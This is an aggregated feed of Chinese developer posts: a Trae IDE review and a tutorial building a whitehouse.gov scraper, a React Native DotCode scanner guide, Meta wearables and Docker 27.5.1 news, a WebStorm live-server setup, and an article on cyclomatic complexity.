不过不得不说,和cursor对比,我只能说大厂还是大厂,字节还是字节,审美是强很多,无论是对话框的动态效果还是整体UI/UX设计,都彰显出了高水平的艺术感和技术实力,可能人多力量大吧,如果trae价格合适的话,为cursor感到担忧。下面cursor的界面就感觉差了很多。不过这个是一个比较简单的需求,还比较顺利,还需要更深入的测试,看看对于一个完整的大项目来说,trae能否胜任?

image.png

下面附带生成的代码:

from jinja2 import Template
import webbrowser
import os

# HTML模板
html_template = """
<!DOCTYPE html>
<html lang="zh">
<head>
    <meta charset="UTF-8">
    <title>新年春联</title>
    <style>
        body {
            background-color: #CC0000;
            background: linear-gradient(135deg, #CC0000 0%, #8B0000 100%);
            position: relative;
            overflow: hidden;
            display: flex;
            flex-direction: column;
            align-items: center;
            justify-content: center;
            min-height: 100vh;
            margin: 0;
            padding: 20px;
        }
        body::before {
            content: '福';
            position: fixed;
            top: 50%;
            left: 50%;
            transform: translate(-50%, -50%) rotate(180deg);
            font-size: 400px;
            color: rgba(255, 215, 0, 0.1);
            font-family: 'STKaiti', 'KaiTi', '楷体', sans-serif;
            pointer-events: none;
            z-index: 0;
            display: flex;
            flex-direction: column;
            align-items: center;
            justify-content: center;
            height: 100vh;
            margin: 0;
            font-family: 'STKaiti', 'KaiTi', '楷体', sans-serif;
        }
        .couplet-container {
            display: flex;
            justify-content: center;
            gap: 200px;
            width: 100%;
            max-width: 1200px;
            margin-top: 20px;
        }
        .horizontal {
            color: #FFD700;
            background-color: #8B0000;
            padding: 20px 80px;
            font-size: 64px;
            margin-bottom: 40px;
            border-radius: 15px;
            border: 3px solid #FFD700;
            box-shadow: 0 4px 15px rgba(255, 215, 0, 0.3);
            animation: fadeInDown 1.5s, glow 2s infinite;
            text-align: center;
        }
        .vertical {
            color: #FFD700;
            background-color: #8B0000;
            padding: 60px 40px;
            font-size: 48px;
            writing-mode: vertical-rl;
            height: 600px;
            border-radius: 15px;
            border: 3px solid #FFD700;
            box-shadow: 0 4px 15px rgba(255, 215, 0, 0.3);
            position: relative;
            overflow: hidden;
            display: flex;
            align-items: center;
            justify-content: center;
            margin: 20px 0;
        }
        @media screen and (max-width: 768px) {
            .couplet-container {
                gap: 80px;
            }
            .horizontal {
                font-size: 48px;
                padding: 15px 60px;
            }
            .vertical {
                height: 400px;
                font-size: 36px;
                padding: 40px 30px;
            }
        }
        @media screen and (max-width: 480px) {
            .couplet-container {
                gap: 40px;
            }
            .horizontal {
                font-size: 36px;
                padding: 10px 40px;
            }
            .vertical {
                height: 300px;
                font-size: 24px;
                padding: 30px 20px;
            }
        }
        .left {
            animation: fadeInLeft 1.5s;
        }
        .right {
            animation: fadeInRight 1.5s;
        }
        @keyframes fadeInDown {
            from {
                opacity: 0;
                transform: translateY(-50px);
            }
            to {
                opacity: 1;
                transform: translateY(0);
            }
        }
        @keyframes fadeInLeft {
            from {
                opacity: 0;
                transform: translateX(-50px);
            }
            to {
                opacity: 1;
                transform: translateX(0);
            }
        }
        @keyframes fadeInRight {
            from {
                opacity: 0;
                transform: translateX(50px);
            }
            to {
                opacity: 1;
                transform: translateX(0);
            }
        }
        @keyframes glow {
            0% { box-shadow: 0 0 15px rgba(255, 215, 0, 0.3); }
            50% { box-shadow: 0 0 30px rgba(255, 215, 0, 0.6); }
            100% { box-shadow: 0 0 15px rgba(255, 215, 0, 0.3); }
        }
        .vertical::before {
            content: '';
            position: absolute;
            top: -150%;
            left: -50%;
            width: 200%;
            height: 200%;
            background: linear-gradient(transparent, rgba(255, 215, 0, 0.2), transparent);
            transform: rotate(45deg);
            animation: shine 3s infinite;
        }
        @keyframes shine {
            0% { transform: rotate(45deg) translateY(0); }
            100% { transform: rotate(45deg) translateY(100%); }
        }
    </style>
</head>
<body>
    <div class="horizontal">{{ horizontal }}</div>
    <div class="couplet-container">
        <div class="vertical left">{{ left_couplet }}</div>
        <div class="vertical right">{{ right_couplet }}</div>
    </div>
</body>
</html>
"""

# 春联内容
horizontal = "金蛇献瑞"
left_couplet = "龙腾虎跃新春至"
right_couplet = "蛇舞凤翔瑞气来"

# 生成HTML文件
template = Template(html_template)
html_content = template.render(
    horizontal=horizontal,
    left_couplet=left_couplet,
    right_couplet=right_couplet
)

# 保存HTML文件
output_file = 'spring_couplet.html'
with open(output_file, 'w', encoding='utf-8') as f:
    f.write(html_content)

# 在浏览器中打开HTML文件
file_path = 'file://' + os.path.abspath(output_file)
webbrowser.open(file_path)

by lybtt at January 23, 2025 03:08 AM

丝滑,用Trae实现监测特朗普签署了哪些行政令

我正在参加Trae「超级体验官」创意实践征文,  本文所使用的 Trae 免费下载链接:  www.trae.ai/?utm_source…

新官上任三把火,美国新总统特朗普也不能免俗,每天会在用WordPress搭建的白宫官网,更新N篇最新签署的行政令,比如1月22日就更新了8篇,堪比他发推文的数量

今天我们就用字节新发布的Trae IDE来实现一次拿到所有签署的行政令,关注懂王实事动态或满足好奇心

下载安装

通过文章顶部链接下载Trae IDE安装包,目前支持macOS,且需要自行解决科学上网问题,PAC的user-rule规则需要新增*.trae.ai,然后就可以正常登录IDE了

需求实现

这里说个前提,我是后端开发,所以我只想先体验Trae能不能辅助我更高效的编程,切实提高实际项目开发效率

创建项目和Python虚拟环境

其实就是打开一个新的文件夹就可以,用vscode的同学,估计非常麻溜了

然后打开终端用uv创建Python虚拟环境

uv init .
uv vent --python 3.12.8

PS: 其实完全不懂也没关系,右侧的chat直接问

发需求提示词

我的提示词大概如下

我需要获取这个网页 www.whitehouse.gov/presidentia… 的所有文章列表,且标题需要翻译成中文

其中一个文章的HTML代码是

<div class="wp-block-group wp-block-whitehouse-post-template__content has-global-padding is-layout-constrained wp-container-core-group-is-layout-6 wp-block-group-is-layout-constrained">

<h2 class="wp-block-post-title has-heading-4-font-size"><a href="https://www.whitehouse.gov/presidential-actions/2025/01/executive-grant-of-clemency-for-terence-sutton/" target="_self">Executive Grant of Clemency for Terence Sutton</a></h2>


<div class="wp-block-group wp-block-whitehouse-post-template__meta is-nowrap is-layout-flex wp-container-core-group-is-layout-5 wp-block-group-is-layout-flex"><div class="taxonomy-category wp-block-post-terms"><a href="https://www.whitehouse.gov/presidential-actions/" rel="tag">Presidential Actions</a></div>

<div class="wp-block-post-date"><time datetime="2025-01-22T18:19:33-05:00">January 22, 2025</time></div></div>
</div>

记得分页获取所有文章列表,这个是分页的HTML代码

<nav class="wp-block-query-pagination is-layout-flex wp-block-query-pagination-is-layout-flex" aria-label="Pagination">


<div class="wp-block-query-pagination-numbers"><span data-wp-key="index-0" aria-current="page" class="page-numbers current">1</span>
<a data-wp-key="index-1" data-wp-on--click="core/query::actions.navigate" class="page-numbers" href="https://www.whitehouse.gov/presidential-actions/page/2/">2</a>
<a data-wp-key="index-2" data-wp-on--click="core/query::actions.navigate" class="page-numbers" href="https://www.whitehouse.gov/presidential-actions/page/3/">3</a>
<span data-wp-key="index-3" class="page-numbers dots">…</span>
<a data-wp-key="index-4" data-wp-on--click="core/query::actions.navigate" class="page-numbers" href="https://www.whitehouse.gov/presidential-actions/page/6/">6</a></div>

<a data-wp-key="query-pagination-next" data-wp-on--click="core/query::actions.navigate" data-wp-on-async--mouseenter="core/query::actions.prefetch" data-wp-watch="core/query::callbacks.prefetch" href="https://www.whitehouse.gov/presidential-actions/page/2/" class="wp-block-query-pagination-next">Next</a>
</nav>

注意,以上HTML结构还是得自行到网站获取拷贝网页元素,需求明确效率会更高

安装依赖和应用实际代码文件

如图

点击运行可以安装依赖

image.png

点击应用就可以创建实际可执行代码文件

image.png

然后就可以运行代码文件 python whitehouse_scraper.py

实际运行效果,还打印了日志

image.png

由于没有明确告知需要把数据存储在哪里,自动存储在了一个txt文件中,如图

image.png

分享下完整代码,当然还可以进一步优化代码,把他存到数据库

from selenium import webdriver
from selenium.webdriver.chrome.service import Service
from selenium.webdriver.chrome.options import Options
from selenium.webdriver.common.by import By
from selenium.webdriver.support.ui import WebDriverWait
from selenium.webdriver.support import expected_conditions as EC
from webdriver_manager.chrome import ChromeDriverManager
from datetime import datetime
import time
import os
import requests
from bs4 import BeautifulSoup
from translate import Translator

def scrape_whitehouse_actions():
    try:
        # 初始化翻译器和新闻列表
        translator = Translator(to_lang='zh')
        news_items = []
        
        # 设置请求头
        headers = {
            'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36'
        }
        
        # 获取所有页面的文章
        page = 1
        while True:
            # 构建分页 URL
            if page == 1:
                url = "https://www.whitehouse.gov/presidential-actions/"
            else:
                url = f"https://www.whitehouse.gov/presidential-actions/page/{page}/"
            
            print(f"正在访问第 {page} 页...")
            response = requests.get(url, headers=headers, timeout=30)
            
            # 检查是否到达最后一页
            if response.status_code == 404:
                print("已到达最后一页")
                break
                
            response.raise_for_status()
            soup = BeautifulSoup(response.text, 'html.parser')
            
            # 获取当前页的所有文章
            articles = soup.find_all('div', class_='wp-block-whitehouse-post-template__content')
            if not articles:
                print("当前页面未找到文章,可能已到达最后一页")
                break
                
            print(f"第 {page} 页找到 {len(articles)} 篇文章")
            
            # 处理当前页的文章
            for article in articles:
                try:
                    # 获取标题和链接
                    title_element = article.find('h2', class_='wp-block-post-title')
                    if title_element:
                        link_element = title_element.find('a')
                        title = link_element.text.strip() if link_element else "无标题"
                        try:
                            translated_title = translator.translate(title)
                        except Exception as e:
                            print(f"翻译出错: {str(e)}")
                            translated_title = title
                        
                        link = link_element.get('href') if link_element else "#"
                    
                        date_element = article.find('time')
                        date = date_element.get('datetime') if date_element else "无日期"
                        
                        print(f"找到文章: {title[:50]}...")
                        
                        news_items.append({
                            'title': title,
                            'translated_title': translated_title,
                            'link': link,
                            'date': date
                        })
                except Exception as e:
                    print(f"处理文章时出错: {str(e)}")
                    continue
            
            # 检查是否有下一页
            next_link = soup.find('a', class_='wp-block-query-pagination-next')
            if not next_link:
                print("没有下一页了")
                break
                
            # 添加延时,避免请求过快
            time.sleep(2)
            page += 1
        
        # 保存所有文章到文件
        timestamp = datetime.now().strftime('%Y%m%d_%H%M%S')
        filename = f'whitehouse_actions_{timestamp}.txt'
        
        with open(filename, 'w', encoding='utf-8') as f:
            for item in news_items:
                f.write(f"英文标题: {item['title']}\n")
                f.write(f"中文标题: {item['translated_title']}\n")
                f.write(f"链接: {item['link']}\n")
                f.write(f"日期: {item['date']}\n")
                f.write('-' * 80 + '\n')
        
        print(f"成功爬取总计 {len(news_items)} 条新闻,已保存到 {filename}")
        return news_items
        
    except Exception as e:
        print(f"爬取过程中出现错误: {str(e)}")
        return None
    
    # 移除 finally 块,因为不再需要关闭 driver

if __name__ == "__main__":
    scrape_whitehouse_actions()

总结

整体体验下来,相比于之前的marscode插件等还是丝滑不少

前提是要有明确的需求,能结合产品思维和技术实现构建提示词给Trae最佳

另外Tare对于终端也进行了体验优化,可以快速发送报错信息给Chat窗口,debug效率贼高

image.png

好了,今天的分享就到这里,我会继续在实际项目中体验Chat模式,新的项目也会尝试体验Builder模式,欢迎评论区交流,也希望Trae等国产IDE越做越好

by 周口店程序猿 at January 23, 2025 03:02 AM

juejin frontend

编写React Native DotCode扫描应用

DotCode(点阵码)是一种二维(2D)矩阵条形码,主要用于烟草行业,其优点是可以通过高速工业打印机和激光雕刻等方式打印。

下面是一包香烟,上面的DotCode代表着其唯一标识符。

cigarette-pack.jpg

在本文中,我们将使用Dynamsoft Barcode Reader创建一个React Native DotCode扫描应用。

演示视频

创建新的React Native项目

使用特定版本创建新的React Native项目:

npx @react-native-community/cli init DotCodeScanner --version 0.75.2

添加Dynamsoft Barcode Reader

安装Dynamsoft Capture Vision(内含Dynamsoft Barcode Reader):

npm install dynamsoft-capture-vision-react-native

设置许可证

App.tsx添加以下代码以在应用启动时设置许可证。可以在此处申请许可证

useEffect(()=>{
  LicenseManager.initLicense('LICENSE-KEY')
  .then(()=>{/*Init license successfully.*/})
  .catch(error => console.error('Init License failed.', error));
},[]);

请求相机权限

  1. 将以下行添加到Info.plist来声明iOS端相机的用途。

    <key>NSCameraUsageDescription</key>
    <string>For barcode scanning</string>
    
  2. 应用启动后,请求相机权限。

    useEffect(()=>{
      CameraEnhancer.requestCameraPermission();
    },[]);
    

编写DotCode扫描组件

  1. 使用以下模板在components/BarcodeScanner.tsx下创建新文件:

    import React, {useEffect, useRef} from 'react';
    import {DecodedBarcodesResult} from 'dynamsoft-capture-vision-react-native';
    import { StyleSheet } from 'react-native';
    
    export interface ScannerProps{
      onScanned?: (result:DecodedBarcodesResult) => void;
    }
    
    export function BarcodeScanner(props:ScannerProps) {
      return (
        <></>
      );
    }
    const styles = StyleSheet.create({
      container: {
        flex:1,
      },
    });
    
  2. 添加一个CameraView组件。

    export function BarcodeScanner(props:ScannerProps) {
       const cameraView = useRef<CameraView>(null);
       return (
         <CameraView style={styles.container} ref={cameraView} />
       );
    }
    
  3. 获取Camera实例以打开相机,并在CameraView组件中显示视频流。

    export function BarcodeScanner(props:ScannerProps) {
      const cameraView = useRef<CameraView>(null);
      const camera = CameraEnhancer.getInstance();
      useEffect(() => {
        camera.setCameraView(cameraView.current!!);
        camera.open();
        return () => {
          //close the camera when the component is going to be unmounted
          camera.close();
        };
      }, [camera, cameraView, props]);
    
      return (
        <CameraView style={styles.container} ref={cameraView} />
      );
    }
    
  4. 设置扫描区域,以便只处理相机画面的一部分,从而提高DotCode的定位效果和识别率。

    setTimeout(()=>{
      camera.setScanRegion({
        left: 0,
        top: 0.4,
        right: 1,
        bottom: 0.6,
        measuredInPercentage: true,
      });
    },500)
    
  5. 获取Capture Vision Router的实例,以调用Barcode Reader从视频流读取条形码。

    export function BarcodeScanner(props:ScannerProps) {
      const router = CaptureVisionRouter.getInstance();
      useEffect(() => {
        //...
        router.initSettings(dotcodeTemplate);
        router.setInput(camera);
        let resultReceiver = router.addResultReceiver({
          onDecodedBarcodesReceived: (result: DecodedBarcodesResult) =>  {
            console.log('scanned');
            if (props.onScanned) {
              props.onScanned(result);
            }
          },
        });
    
        router.startCapturing('Dotcode');
    
        return () => {
          //...
          router.removeResultReceiver(resultReceiver!);
        };
      }, [camera, router, cameraView, props]);
    }
    
  6. 我们需要使用JSON模板来更新设置,以支持读取DotCode。

    模板:

    {
      "CaptureVisionTemplates": [
        {
          "Name": "Dotcode",
          "ImageROIProcessingNameArray": [
            "roi_read_dotcode"
          ],
          "Timeout": 700,
          "MaxParallelTasks":0
        }
      ],
      "TargetROIDefOptions": [
        {
          "Name": "roi_read_dotcode",
          "TaskSettingNameArray": [
            "task_read_dotcode"
          ]
        }
      ],
      "BarcodeFormatSpecificationOptions": [
        {
          "Name": "format_specification_read_dotcode",
          "BarcodeFormatIds": [
            "BF_DOTCODE"
          ],
          "MirrorMode": "MM_BOTH"
        }
      ],
      "BarcodeReaderTaskSettingOptions": [
        {
          "Name": "task_read_dotcode",
          "ExpectedBarcodesCount" : 1,
          "BarcodeFormatIds" : [ "BF_DOTCODE" ],
          "LocalizationModes": [
            {
              "Mode" : "LM_STATISTICS_MARKS"
            }
          ],
          "DeblurModes":
          [
            {
              "Mode": "DM_BASED_ON_LOC_BIN"
            },
            {
              "Mode": "DM_THRESHOLD_BINARIZATION"
            },
            {
              "Mode": "DM_DEEP_ANALYSIS"
            }
          ],
          "BarcodeFormatSpecificationNameArray": [
            "format_specification_read_dotcode"
          ],
          "SectionImageParameterArray": [
            {
              "Section": "ST_REGION_PREDETECTION",
              "ImageParameterName": "ip_read_dotcode"
            },
            {
              "Section": "ST_BARCODE_LOCALIZATION",
              "ImageParameterName": "ip_read_dotcode"
            },
            {
              "Section": "ST_BARCODE_DECODING",
              "ImageParameterName": "ip_read_dotcode"
            }
          ]
        }
      ],
      "ImageParameterOptions": [
        {
          "Name": "ip_read_dotcode",
          "BinarizationModes": [
            {
              "Mode": "BM_LOCAL_BLOCK",
              "BlockSizeX": 15,
              "BlockSizeY": 15,
              "EnableFillBinaryVacancy": 0,
              "ThresholdCompensation": 10
            },
            {
              "Mode": "BM_LOCAL_BLOCK",
              "BlockSizeX": 21,
              "BlockSizeY": 21,
              "EnableFillBinaryVacancy": 0,
              "ThresholdCompensation": 10,
              "MorphOperation":"Erode",
              "MorphOperationKernelSizeX":3,
              "MorphOperationKernelSizeY":3,
              "MorphShape":"Ellipse"
            },
            {
              "Mode": "BM_LOCAL_BLOCK",
              "BlockSizeX": 35,
              "BlockSizeY": 35,
              "EnableFillBinaryVacancy": 0,
              "ThresholdCompensation": 10,
              "MorphOperation":"Erode",
              "MorphOperationKernelSizeX":3,
              "MorphOperationKernelSizeY":3,
              "MorphShape":"Ellipse"
            },
            {
              "Mode": "BM_LOCAL_BLOCK",
              "BlockSizeX": 45,
              "BlockSizeY": 45,
              "EnableFillBinaryVacancy": 0,
              "ThresholdCompensation": 25,
              "MorphOperation":"Erode",
              "MorphOperationKernelSizeX":3,
              "MorphOperationKernelSizeY":3,
              "MorphShape":"Ellipse"
            }
          ],
          "GrayscaleEnhancementModes": [
            {
              "Mode": "GEM_GENERAL"
            }
          ],
          "GrayscaleTransformationModes": [
            {
              "Mode": "GTM_INVERTED"
            },
            {
              "Mode": "GTM_ORIGINAL"
            }
          ]
        }
      ]
    }
    

    我们可以看到它与图像处理有关。例如,香烟上的DotCode通常是黑底白码的,因此我们可以通过设置GrayscaleTransformationModes,首先处理反转颜色的图像。可以在此页面上了解有关Dynamsoft Barcode Reader如何处理DotCode的更多信息。

    代码:

    const dotcodeTemplate = `JSON content`;
    router.initSettings(dotcodeTemplate);
    

使用DotCode扫描组件

更新App.tsx以使用DotCode扫描组件扫描DotCode并显示结果。

import React, { useEffect } from 'react';
import {
  Button,
  SafeAreaView,
  StyleSheet,
  Text,
  View,
} from 'react-native';
import { BarcodeScanner } from './components/BarcodeScanner';
import { CameraEnhancer, DecodedBarcodesResult, LicenseManager } from 'dynamsoft-capture-vision-react-native';

function App(): React.JSX.Element {
  const [isScanning, setIsScanning] = React.useState(false);
  const [barcodeText, setBarcodeText] = React.useState('');
  useEffect(()=>{
    LicenseManager.initLicense('LICENSE-KEY')
    .then(()=>{/*Init license successfully.*/})
    .catch(error => console.error('Init License failed.', error));
    CameraEnhancer.requestCameraPermission();
  },[]);

  const toggleScanning = () => {
    setIsScanning(!isScanning);
  };

  const onScanned = (result:DecodedBarcodesResult) => {
    if (result.items && result.items.length > 0) {
      console.log(result.items[0].text);
      toggleScanning();
      setBarcodeText(result.items[0].text);
    }
  };

  return (
    <SafeAreaView style={styles.container}>
      {isScanning &&
      <>
        <BarcodeScanner
          onScanned={onScanned}
        />
        <View style={styles.controls}>
          <Button title="Stop Scanning" onPress={toggleScanning}/>
        </View>
      </>}
      {!isScanning &&
        <View style={styles.home}>
          <Text>DotCode Scanner</Text>
          <Button title="Start Scanning" onPress={toggleScanning}/>
          {barcodeText &&
            <Text>{'Result: ' + barcodeText}</Text>
          }
        </View>
      }
    </SafeAreaView>
  );
}

const styles = StyleSheet.create({
  container: {
    flex:1,
  },
  home:{
    alignItems:'center',
  },
  controls:{
    position:'absolute',
    width:'100%',
    alignItems:'center',
    bottom:10,
  },
  button:{
    width: '50%',
  },
});

export default App;

源代码

获取源代码来自己试用一下吧:

github.com/tony-xlh/re…

by xulihang at January 23, 2025 02:55 AM

oschina news industry

Meta 将推出

据彭博社记者 Mark Gurman 报道,Meta 正在对其智能眼镜进行升级,同时还在探索新的智能穿戴设备。

报道中指出,Meta 将开发对标苹果 Apple Watch 和 AirPods 的产品。据悉,大约五年前,Meta 曾探索发布一款能与苹果、三星等公司竞争的智能手表,但该产品被多次取消。

现如今,Meta 打算通过恢复打造智能手表的计划,并通过该腕间设备去显示智能眼镜所拍摄的照片。

此外,Meta 还在开发一款以 AirPods 为竞争目标,并搭载摄像头的耳机。该耳机将通过摄像头获取外部信息,并通过 AI 分析环境,提升用户使用体验。据悉,该产品在内部被称为「Camera Buds」,且仍然处于早期阶段。

同时,据知情人士透露,Meta 今年将与眼镜厂商 Oakley 合作,基于 Oakley 的 Sphaera 眼镜型号,开发一款方便运动员使用的智能眼镜;该智能眼镜代号为「Supernova 2」,其摄像头将会被放置在眼镜框中间。

而 Meta 旗下的硬件子公司 Reality Labs 计划在 2025 年,发布镜片内配备内置显示屏的高端眼镜。据透露,该款智能眼镜代号为「Hypernova」,设计也会更接近目前的雷朋眼镜。其右镜片中将会内置一块显示器,从而将信息通过屏幕显示给用户查看。此外,用户能够在该款智能眼镜上运行简单的应用。据参与该项目的员工预计,Hypernova 的售价将在 1,000 美元左右。

在 2024 年 9 月,Meta 还公布了全球最贵的 AR 眼镜 Meta Orion,其研发时间达 10 年,而成本更是高达 1 万美元。然而 Gurman 在报道中表示,Orion 眼镜将不会向客户发售;相反,Meta 希望最早在 2027 年开售代号为「Artemis」的后续版本。据了解「Artemis」原型产品的人透露,该眼镜比 Orion 眼镜的测试版更为先进,重量也相对更轻。

by 来源: OSCHINA at January 23, 2025 02:54 AM

oschina news project

Docker 27.5.1 发布

Docker 27.5.1 现已发布,具体更新内容如下:

Bug fixes and enhancements

  • 修复了初始化 default bridge 失败后可能持续阻止守护进程启动的问题。moby/moby#49307
  • 添加DOCKER_IGNORE_BR_NETFILTER_ERROR环境变量。将其设置为1允许在无法加载br_netfilter的主机上运行。有些操作不起作用,包括在 bridge network 中禁用容器间通信。禁用 userland proxy 后,将无法从同一网络上的另一个容器访问一个容器的已发布端口。moby/moby#49306

Packaging updates

更新说明:https://github.com/moby/moby/releases/tag/v27.5.1

by 来源: OSCHINA at January 23, 2025 02:51 AM

juejin freebie

WebStorm 配置类似 VSCode 的 Live Server

在 WebStorm 中配置一个类似于 VSCode 的 Live Server 的功能,可以通过以下方式实现,通常是通过内置的 WebStorm 功能或者借助外部工具来实现实时刷新。

方法一:使用 WebStorm 自带的内置功能

WebStorm 已经内置了类似于 Live Server 的实时预览功能,你可以使用它来启动一个本地开发服务器并实时刷新页面。

步骤:

  1. 打开项目:在 WebStorm 中打开项目。

  2. 配置运行/调试配置

    • 在右上角的 运行配置 菜单(Edit Configurations)中,选择 +(新建配置)。
    • 选择 JavaScript Debug
    • URL 输入框中填入你要访问的本地地址,例如:http://localhost:3000
    • JavaScript File 中选择一个入口文件(通常是 index.html 或类似的 HTML 文件)。
  3. 启动本地开发服务器

    • WebStorm 提供了一些内置的支持,假如你没有配置自定义开发服务器,可以使用 WebStorm 自带的 File Watcher 或者 Live Reload,即:
      • 启动开发服务器后,WebStorm 会自动打开浏览器并刷新页面。
  4. 自动刷新

    • 启动后,页面会随着你在编辑器中的改动而实时刷新。WebStorm 会检测到 HTML/CSS/JS 文件的变化,并自动重新加载页面。

方法二:使用 npmlive-server (推荐)

如果你更习惯 VSCode 中的 Live Server 插件,可以通过 Node.js 的 live-server 包来创建一个简单的本地开发服务器,并实现实时刷新。

步骤:

  1. 安装 live-server: 在项目根目录打开终端,运行以下命令来安装 live-server

    npm install -g live-server
    
    
    
  2. 启动 live-server: 安装完成后,可以直接在项目根目录使用以下命令启动服务器:

    bash
    CopyEdit
    live-server
    

    这会自动打开浏览器并监听文件变化。每次你修改代码并保存时,页面会自动刷新。

    你也可以通过 live-server 传入一些参数来配置,比如指定端口等。例如:

    bash
    CopyEdit
    live-server --port=3000
    
  3. 配置 WebStorm 中的运行/调试配置

    • 打开 WebStorm 的 运行/调试配置,点击 + 新建一个配置,选择 npm
    • Package 选项中选择 live-server 所在的 npm 包。
    • 设置命令为 start,运行这个配置就可以在 WebStorm 中启动 live-server
  4. 实时刷新: 通过这种方式,live-server 会像 VSCode 中的 Live Server 一样,监视文件的变化并自动刷新页面。

方法三:使用 BrowserSync

BrowserSync 是一个更强大的工具,可以跨设备同步刷新页面。如果你希望支持多设备实时刷新,可以使用它。

步骤:

  1. 安装 browser-sync: 在项目根目录中安装 browser-sync

    bash
    CopyEdit
    npm install browser-sync --save-dev
    
  2. 配置 browser-sync: 在 package.json 中添加一个启动脚本:

    json
    CopyEdit
    "scripts": {
      "start": "browser-sync start --server --files '**/*.html, **/*.css, **/*.js'"
    }
    

    这个脚本会启动一个本地服务器,并监控 HTML、CSS 和 JS 文件的变化。

  3. 运行 browser-sync: 运行以下命令来启动服务器:

    bash
    CopyEdit
    npm start
    
  4. 实时刷新: 运行后,browser-sync 会自动打开浏览器并同步你的更改。如果你在不同的设备上访问这个开发服务器,所有设备的页面都会实时同步更新。

总结:

  • WebStorm 自带的功能:提供了内置的自动刷新和调试支持,可以通过 JavaScript Debug 配置实现类似的功能。
  • Live Server:通过 live-serverbrowser-sync 等工具,可以实现类似 VSCode 的实时刷新功能,并且可以通过 WebStorm 配置启动和调试。
  • BrowserSync:适用于需要跨多个设备或多个浏览器同步刷新的场景。

这样,无论是使用 WebStorm 自带的工具,还是第三方工具,都能实现类似于 VSCode 的 Live Server 功能,满足实时预览和自动刷新的需求。

by micolen at January 23, 2025 02:41 AM

juejin frontend

圈复杂度在转转前端质量体系中的应用

背景

前端质量体系建设

目前在转转内,我们已经基本完成了前端质量体系的系统性建设,在整个质量体系内,我们按照类型将所有指标分为监控、工程规范、技术先进性三个方向,在这三个方向目前总共上线了11个指标,按照指标的重要程度不同,我们又将11个指标划分为了P1、P2、P3三个等级。

在工程规范分类中,代码规范、代码行数和圈复杂度都是P2类型的重要指标,今天的文章就为大家介绍一下“圈复杂度”相关的概念和检测实现方式。

圈复杂度相关介绍

概念

圈复杂度(Cyclomatic complexity,简写CC) 也称为条件复杂度,是一种代码复杂度的衡量标准。由托马斯·J·麦凯布(Thomas J. McCabe, Sr.)于1976年提出,用来表示程序的复杂度。它可以用来衡量一个模块判定结构的复杂程度,数量上表现为线性独立路径的数量,也可理解为覆盖所有的可能情况最少使用的测试用例数。圈复杂度大说明程序代码的判断逻辑复杂,可能质量低且难于测试和维护。程序的可能错误和高的圈复杂度有着很大关系。

业内衡量标准

代码复杂度低,代码不一定好,但代码复杂度高,代码一定不好。

一段程序的循环复杂度是其线性独立路径的数量。若程序中没有像IF指令或FOR循环的控制流程,因为程序中只有一个路径,其循环复杂度为1,若程序中有一个IF指令,会有二个不同路径,分别对应IF条件成立及不成立的情形,因此循环复杂度为2。

圈复杂度代码状况维护成本
1 - 10清晰、结构化
10 - 20复杂
20 - 30非常复杂
>30不可读非常高

从上面的表格可以看出,圈复杂度和我们代码的可维护度息息相关。简单的说,我们对历史代码进行维护的时候,如果代码内因为条件判断存在大量的逻辑路径,维护起来一般都是非常困难的。

计算方法

圈复杂度的计算方式有很多种,下面为大家介绍其中比较典型的两个方法。

(1)点边计算法

在介绍点边计算法之前,为大家普及一下其中使用到的图形概念:控制流程图。

图形概念 —— 控制流程图

控制流程图,是一个过程或程序的抽象表现,是用在编译器中的一个抽象数据结构,由编译器在内部维护,代表了一个程序执行过程中会遍历到的所有路径。它用图的形式表示一个过程内所有基本块执行的可能流向,也能反映一个过程的实时执行过程。

例如:

不同条件判断对应控制流程图

如果在控制流图中增加了一条从终点到起点的路径,整个流图形成了一个闭环。圈复杂度其实就是在这个闭环中线性独立回路的个数。

点边计算法计算公式

M = E − N + 2P

  • E:控制流图中边的数量
  • N:控制流图中的节点数量
  • P:独立组件的数目

E、N、P对应示例

P代表图中独立组件的数目,独立组件是什么意思呢?并不是指我们前端代码中常说的组件,来看看下面两个图,左侧为连通图,右侧为非连通图

独立组件示例

左侧的独立组件是1,右侧是2

但是因为我们从代码维度分析,并且我们后续的检测方式为函数维度的圈复杂度检测,所以可以忽略非连通情况,我们的检测内容都是连通的。

所以我们的公式可以简化为:

M = E − N + 2

(2)节点判定法

第二种计算方式就是节点判定法

节点判定法是一个更直观的方法,因为圈复杂度所反映的是“判定条件”的数量,所以圈复杂度实际上就是等于判定节点的数量再加上1,也即控制流图的区域数,对应的计算公式为:

M = P + 1

其中,P为判定节点的个数,判定节点都有哪些,例如:

  • if语句
  • while语句
  • for语句
  • case语句
  • catch语句
  • and和or布尔操作(|| &&)
  • ?:三元运算符

对于多个条件的 Case 或者 if-elseIf-else 结构,统计节点的时候必须统计全部实际的判定节点数量,也就是说每个 else-if 语句,以及每一个 case 语句,都应该算是一个判定节点。

节点判定法计算举例:

例1:在这个函数中,函数本身圈复杂度为1,if条件判断、&&判断分别增加1,所以最终函数圈复杂度为3。

// 函数圈复杂度:3
function test(a) {
  let result = 1;
  if (a > 0 && a < 10) {
    result--;
  }
  return result;
}

例2:在这个函数中,函数本身圈复杂度为1,if条件判断、for循环、三目运算分别增加1,swich语句的两个case判断为2,所以最终函数圈复杂度为6。

// 函数圈复杂度:6
function test(a) {
  let result = 1;
  if (a > 0) {
    result--;
  }
  for (let i = 0; i < 10; i++) {
    result += 1;
  }
  switch (parseInt(result)) {
    case 1:
      result += 20;
      break;
    case 2:
      result += 30;
      break;
    default:
      result += 10;
      break;
  }
  return result > 20 ? result : false;
}

在我们的质量检测系统中,最终定义的检测维度为函数维度,所以不存在特殊的多独立组件的场景,并且需要考虑代码修改难易度,所以我们在检测中使用的方式都是节点判定法。

圈复杂度的特性

圈复杂度与缺陷

一般来说,圈复杂度和缺陷个数有高度的正相关:圈复杂度最高的模块和方法,其缺陷个数也可能最多,当你的代码内存在大量逻辑判断时,往往会增加后续维护中bug产生的风险度。

圈复杂度与结构化测试

此外,它在测试提供测试用例时能够提供参考。一个好的用例设计一般会创建数量与被测代码圈复杂度值相等的测试用例,以此提升用例对代码的分支覆盖率。

圈复杂度与遗留代码

对于遗留代码的维护或重构,测量圈复杂度特别有价值。一般使用圈复杂度作为提升代码质量的切入点。

并且对于历史代码,我们可以基于时间变化维度来评估模块或函数的圈复杂度和对应增长值,并做出相应的改造决定,例如:

  • 能够确保日常覆盖测试的有效性,保障测试中的覆盖程度。
  • 评估重构的必要性和具体方式,以降低出现代码维护问题的可能性。

